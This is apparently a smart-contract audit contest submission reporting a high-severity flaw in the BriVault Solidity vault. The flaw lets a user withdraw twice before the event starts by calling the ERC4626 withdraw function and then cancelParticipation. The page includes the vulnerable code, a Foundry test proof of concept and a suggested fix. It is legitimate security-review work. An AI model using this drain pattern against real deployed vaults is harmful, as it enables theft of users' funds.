BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Double withdraw before event start, possible by calling the `ERC4626::withdraw` function and `BriVault::cancelParticipation` sequentially before event started.

alexscherbatyuk

Root + Impact

Description

  • The BriVault contract inherits ERC4626 functionality, allowing users to deposit assets via deposit which tracks staked amounts in stakedAsset. Before the event starts, users can withdraw using the standard ERC4626::withdraw function, which burns shares proportional to the requested assets and transfers them, or use cancelParticipation to refund the full staked amount, burn all shares, and reset the mapping.

  • However, withdraw and cancelParticipation do not cross-validate states, enabling a user to first call withdraw to burn shares and receive assets based on their balance, then call cancelParticipation to receive an additional full refund from stakedAsset, effectively allowing a double withdrawal of the deposited amount before eventStartDate.

// Root cause in the codebase with @> marks to highlight the relevant section
/// @inheritdoc IERC4626
@> function withdraw(uint256 assets, address receiver, address owner) public virtual returns (uint256) {
uint256 maxAssets = maxWithdraw(owner);
if (assets > maxAssets) {
revert ERC4626ExceededMaxWithdraw(owner, assets, maxAssets);
}
​
uint256 shares = previewWithdraw(assets);
_withdraw(_msgSender(), receiver, owner, assets, shares);
​
return shares;
}
​
...
​
function cancelParticipation() public {
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
​
uint256 refundAmount = stakedAsset[msg.sender];
​
@> stakedAsset[msg.sender] = 0;
​
@> uint256 shares = balanceOf(msg.sender);
​
_burn(msg.sender, shares);
​
@> IERC20(asset()).safeTransfer(msg.sender, refundAmount);
}

Risk

Likelihood:

  • Users or attackers call withdraw followed immediately by cancelParticipation during the pre-event deposit phase.

  • The non-overridden withdraw remains publicly accessible without any event-specific guards.

Impact:

  • Protocol suffers potential funds drain through repeated double withdrawals, reducing available assets for legitimate participants.

  • Users experience denial of service or theft, unable to withdraw properly or claim prizes due to manipulated balances.

Proof of Concept

Add the following code snippet to the briVault.t.sol test file.This test verifies that user can withdraw twice sequentially calling ERC4626::withdraw and then BriVault::cancelParticipation.

function test_duableWithdrawProtocolDrain() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
​
vm.startPrank(user3);
mockToken.approve(address(briVault), 5 ether);
uint256 user3Shares = briVault.deposit(5 ether, user3);
vm.stopPrank();
​
vm.startPrank(user2);
mockToken.approve(address(briVault), 5 ether);
uint256 user2Shares = briVault.deposit(5 ether, user2);
vm.stopPrank();
​
vm.startPrank(user1);
mockToken.approve(address(briVault), 5 ether);
uint256 user1Shares = briVault.deposit(5 ether, user1);
uint256 balanceBeforuser1 = mockToken.balanceOf(user1);
​
console.log("user2Shares: ", user2Shares);
console.log("user1Shares: ", user1Shares);
console.log("balanceBeforuser1: ", balanceBeforuser1);
​
//ERC4626 withdraw function call
briVault.withdraw(briVault.balanceOf(user1), user1, user1);
uint256 balanceAfteruser1 = mockToken.balanceOf(user1);
console.log("userBalanceAfterWithdrawl: ", balanceAfteruser1);
briVault.cancelParticipation();
uint256 balanceAfteCancelruser1 = mockToken.balanceOf(user1);
console.log("balanceAfteCancelruser1: ", balanceAfteCancelruser1);
vm.stopPrank();
​
assertGe(balanceAfteruser1, balanceBeforuser1, "Balance after grater than before");
}

Recommended Mitigation

Possible mitigation to override the standard function withdraw with similar to cancelParticipation logic or revert, preserving ERC4626 standard withdraw arguments.

+ function withdraw(uint256 assets, address receiver, address owner) public override returns (uint256) {
+ revert limiteExceede();
+ }
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unrestricted ERC4626 functions

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!